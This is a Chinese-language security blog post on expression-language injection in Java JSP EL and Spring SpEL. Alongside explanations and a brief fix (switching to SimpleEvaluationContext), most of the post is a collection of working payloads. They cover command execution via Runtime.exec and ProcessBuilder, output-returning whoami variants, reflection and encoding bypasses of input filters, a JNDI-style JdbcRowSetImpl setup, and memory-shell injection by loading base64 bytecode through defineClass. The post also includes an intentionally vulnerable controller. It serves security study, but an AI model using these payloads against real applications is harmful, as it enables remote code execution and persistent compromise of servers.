El&Spel

前言

又被卷到了,来点表达式注入。

我真的受不了卷狗了。简直是狠狠push我更新的动力啊。

Java中表达式根据框架分为好多种,这里以JSP自带的表达式语言 EL 和使用较多的Spring框架所支持的SpEL为例。

其基本语法为${变量表达式}

El-Attack

为了简化 JSP 页面,JSP 2.0 新增了 EL(Expression Language)表达式语言 ${EL表达式}

Tomcat、Weblogic、Jetty等Web容器均支持EL表达式

若EL表达式没有生效,需要开启EL表达式

  • 法一:将 page 指令中的 isELIgnored 属性设置为 false

    <%@ page isELIgnored="false" %>

  • 法二:web.xml 中配置 <el-ignored> 元素

    1
    2
    3
    4
    <jsp-property-group>
    <url-pattern>*jsp</url-pattern>
    <el-ignored>false</el-ignored>
    </jsp-propery-group>

EL表达式中有很多内置对象

内置对象 说明
pageScope 获取 page 范围的变量
requestScope 获取 request 范围的变量
sessionScope 获取 session 范围的变量
applicationScope 获取 application 范围的变量
param 相当于 request.getParameter(String name),获取单个参数的值
paramValues 相当于 request.getParameterValues(String name),获取参数集合中的变量值
header 相当于 request.getHeader(String name),获取 HTTP 请求头信息
headerValues 相当于 request.getHeaders(String name),获取 HTTP 请求头数组信息
initParam 相当于 application.getInitParameter(String name),获取 web.xml 文件中的参数值
cookie 相当于 request.getCookies(),获取 cookie 中的值
pageContext 表示当前 JSP 页面的 pageContext 对象

EL表达式不仅可以以文本元素的形式出现,也可以出现在Jsp标签中

Jsp vs El

相比Jsp,EL表达式的执行会更加灵活

  • work✔️

<%

((ScriptEngineManager)””.getClass().forName(“javax.script.ScriptEngineManager”).newInstance()).getEngineByName(“js”).eval(“java.lang.Runtime.getRuntime().exec(‘calc’)”);

%>

  • fail✖️

<% “”.getClass().forName(“javax.script.ScriptEngineManager”).newInstance().getEngineByName(“js”).eval(“java.lang.Runtime.getRuntime().exec(‘calc’)”);

%>

The method getEngineByName(String) is undefined for the type

  • work✔️

${“”.getClass().forName(“javax.script.ScriptEngineManager”).newInstance().getEngineByName(“js”).eval(“java.lang.Runtime.getRuntime().exec(‘calc’)”)}

可见EL表达式能够自动进行类型转换,Tomcat内置的JSP引擎——Apache Jasper如何执行EL表达式就不跟了。

直接给出结论:

这种调用方式让方法以字符串的形式出现,可以把用调用的参数通过外部参数传入,实现更隐蔽的EL执行

1
${""[param.a]()[param.b](param.c)[param.d]()[param.e](param.f)[param.g](param.h)}

a=getClass&b=forName&c=javax.script.ScriptEngineManager&d=newInstance&e=getEngineByName&f=js&g=eval&h=java.lang.Runtime.getRuntime().exec(‘calc’)

Getter & Setter

EL表达式不支持Object a = xxx来存储临时局部变量。可以利用内置对象来存储。

并且点号属性取值相当于执行对象的getter方法,等号属性赋值则等同于执行setter方法

${pageContext.setAttribute(“obj”, “”.getClass().forName(“com.sun.rowset.JdbcRowSetImpl”).newInstance());

pageContext.getAttribute(“obj”).dataSourceName=”ldap://127.0.0.1:8099/a”;

pageContext.getAttribute(“obj”).autoCommit=true}

1
org.apache.el.parser.AstAssign#getValue

-> org.apache.el.parser.AstValue#getValue

-> org.apache.el.parser.AstValue#setValue

-> javax.el.CompositeELResolver#setValue

-> javax.el.BeanELResolver#setValue

POC

1
2
3
4
5
6
7
8
9
10
//对应于JSP页面中的pageContext对象
${pageContext}
//获取Web路径
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
//文件头参数
${header}
//获取webRoot
${applicationScope}
//执行命令
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

主要还是通过反射的方式去命令执行,也可以利用ScriptEngine调用JS引擎绕过过滤:

1
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")}

SpEL-Attack

SpEL:Spring Expression Language 一种表达式语言,支持在运行时查询和操作对象图,类似于EL表达式。

SpEL 的诞生是为了给 Spring 社区提供一种能够与Spring 生态系统所有产品无缝对接,能提供一站式支持的表达式语言。

SpEL基本语法: SpEL使用 #{...}作为定界符,大括号内被视为SpEL表达式,里面可以使用运算符,变量,调用方法等。使用 T() 运算符会调用类作用域的方法和常量,如#{T(java.lang.Math)}返回一个java.lang.Math类对象。

#{}${}的区别:

  • #{} 用于执行SpEl表达式,并将内容赋值给属性
  • ${} 主要用于加载外部属性文件中的值

SpEL常用在三个地方。

  1. Value注解 (注:这个类要通过依赖注入才能使Value注解生效,直接new对象是不行的)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    package com.example.demo1.bean;

    import org.springframework.beans.factory.annotation.Value;
    import org.springframework.context.annotation.PropertySource;
    import org.springframework.stereotype.Component;

    @Component
    @PropertySource({"classpath:/configure.properties"})
    public class User {
    @Value("${spring.user.name}")
    public String userName; // 值来自application.properties
    @Value("${home.dorm}")
    public String address; // 值来自configure.properties(放在resources文件夹下)
    @Value("#{T(java.lang.Math).random()}")
    public double age;
    @Value("#{systemProperties['os.name']}")
    public String sys; // 注入操作系统属性
    }
    1
    2
    3
    4
    // configure.properties
    home.dorm=Room402,Unit4,Building3,No.34.LousyLoad
    // application.properti
    spring.user.name=Taco

    输出如下: User{userName='Taco', address='Room402,Unit4,Building3,No.34.LousyLoad', age=0.5913714334107036, sys='Windows 10'}

  2. XML

    1
    2
    3
    <bean id="Book" class="com.example.bean">
    <property name="author" value="#{表达式}">
    </bean>
  3. Expression接口

    1
    2
    3
    4
    5
    6
    7
    8
    @Test
    public void spelTest() {
    ExpressionParser parser = new SpelExpressionParser();
    Expression expression = parser.parseExpression("('Hello '+'SpEL').concat(#end)");
    EvaluationContext context = new StandardEvaluationContext();
    context.setVariable("end", "!");
    System.out.println(expression.getValue(context));
    }

    输出Hello SpEL!

实际情况下,一般都是基于上面第三种SpEL的使用场景出现的漏洞。 下面简单分析一下SpEL在求表达式值的过程

1.创建解析器 new SpelExpressionParser() 2.解析表达式 parseExpression(your_expression) 3.构造上下文 new StandardEvaluationContext() 默认为这个 4.求值 expression.getValue(context)

漏洞利用前提

1.服务器接收用户输入的表达式 2.表达式解析之后调用了getValue 3.使用StandardEvaluationContext作为上下文对象

1
2
3
4
5
6
7
8
9
10
11
@RestController
public class SpELController {
@GetMapping("spel")
public String spel(@RequestParam(name="cmd")String cmd) {
System.out.println("Hello SpEL!!!");
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(cmd);
Object obj = expression.getValue();
return obj.toString();
}
}

这段代码中,可注入的点在请求参数cmd 访问http://localhost:8080/spel?cmd=T(java.lang.Runtime).getRuntime().exec(%27calc%27) 成功弹出计算器。

注入tricks

一些trivial的payload

1
new java.lang.ProcessBuilder(new String[]{"caslc"}).start()
1
T(java.lang.Runtime).getRuntime().exec("calc")

命令执行带返回结果的:

1
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("whoami").start().getInputStream())).readLine()
1
new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream(), "GBK").useDelimiter("xxx").next()

利用js引擎可以实现更加复杂的操作,如注入内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void main(String[] args) throws Exception {
byte[] bytes = ClassPool.getDefault().get("EvilInterceptor").toBytecode();
String s = Base64.getEncoder().encodeToString(bytes);
String cmd = "T(javax.script.ScriptEngineManager).newInstance().getEngineByName('js').eval(\"" + makeJsDefinedClass("EvilInterceptor", s) + "\")";
System.out.println(cmd);
}

public static String makeJsDefinedClass(String classname, String encoded) {
return "var data = '" + encoded + "';" +
"var bytes = java.util.Base64.getDecoder().decode(data);" +
"var cls = java.lang.Class.forName('sun.nio.ch.Util');" +
"var method = cls.getDeclaredMethod('unsafe');" +
"method.setAccessible(true);" +
"var unsafe = method.invoke(cls);" +
"var classLoader = java.lang.Thread.currentThread().getContextClassLoader();" +
"var evil = unsafe.defineClass('" + classname + "', bytes, 0, bytes.length, classLoader, null);" +
"evil.newInstance();";
}

这里利用的是UnsafedefineClass加载字节码

实际上Spring框架中org.springframework.cglib.core.ReflectUtils就提供了一系列反射有关的方法,其中就包括了字节码加载defineClass

1
2
3
4
byte[] bytes = ClassPool.getDefault().get("EvilInterceptor").toBytecode();
String s = Base64.getEncoder().encodeToString(bytes);
String cmd = "T(org.springframework.cglib.core.ReflectUtils).defineClass('EvilInterceptor',T(org.springframework.util.Base64Utils).decodeFromString('" + s + "'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()";
System.out.println(cmd);

高版本JDK(>=9)引入了命名模块机制,java.*下的非公开变量和方法不能被其他模块直接访问,JDK11还只会提示warning,而在JDK17中会强制开启,直接报错

上面的payload执行后会报错

java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int,java.security.ProtectionDomain) throws java.lang.ClassFormatError accessible: module java.base does not “opens java.lang” to unnamed module @635eaaf1

image-20240822154752676

java.lang.ClassLoader#defineClass不是公开方法,无法被其他模块访问

1
2
3
4
byte[] bytes = ClassPool.getDefault().get("org.springframework.expression.EvilInterceptor").toBytecode();
String s = Base64.getEncoder().encodeToString(bytes);
String cmd = "T(org.springframework.cglib.core.ReflectUtils).defineClass('org.springframework.expression.EvilInterceptor',T(java.util.Base64).getDecoder().decode('" + s + "'),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName('org.springframework.expression.ExpressionParser'))";
System.out.println(cmd);

Patch

SimpleEvaluationContextStandardEvaluationContext 是 SpEL提供的两个 EvaluationContext

SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java 类型引用,构造函数和 bean 引用

SimpleEvaluationContext替换默认的StandardEvaluationContext,就能有效防止恶意SpEL表达式的执行。

Bypass

反射

1
2
3
4
5
6
7
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
// 反射调用+字符串拼接,绕过正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

字符编码

1
2
3
4
// String类动态生成字符
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
// char转字符串,再字符串concat
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))

字符串拼接

1
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})

JavaScript引擎

1
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)

绕过T( 过滤

1
2
//%00会被直接替换为空
T%00(new)

绕过getClass(过滤

1
2
''.getClass 替换为 ''.class.getSuperclass().class
''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[14].invoke(''.class.getSuperclass().class.forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')

使用Spring工具类,可打内存马

1
2
3
4
//反序列化
T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))
// 执行自定义类的静态代码块
T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADIAtQ....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())

参考:

https://www.cnblogs.com/bitterz/p/15206255.html

https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf

https://owasp.org/www-community/vulnerabilities/Expression_Language_Injection
www.cnblogs.com/bitterz/p/15206255.html

Javaweb安全——表达式注入(EL+SpEL)-CSDN博客

Spel Attack | Java (gitbook.io)

El Attack | Java (gitbook.io)


El&Spel
https://eddiemurphy89.github.io/2024/08/22/El-Spel/
作者
EddieMurphy
发布于
2024年8月22日
许可协议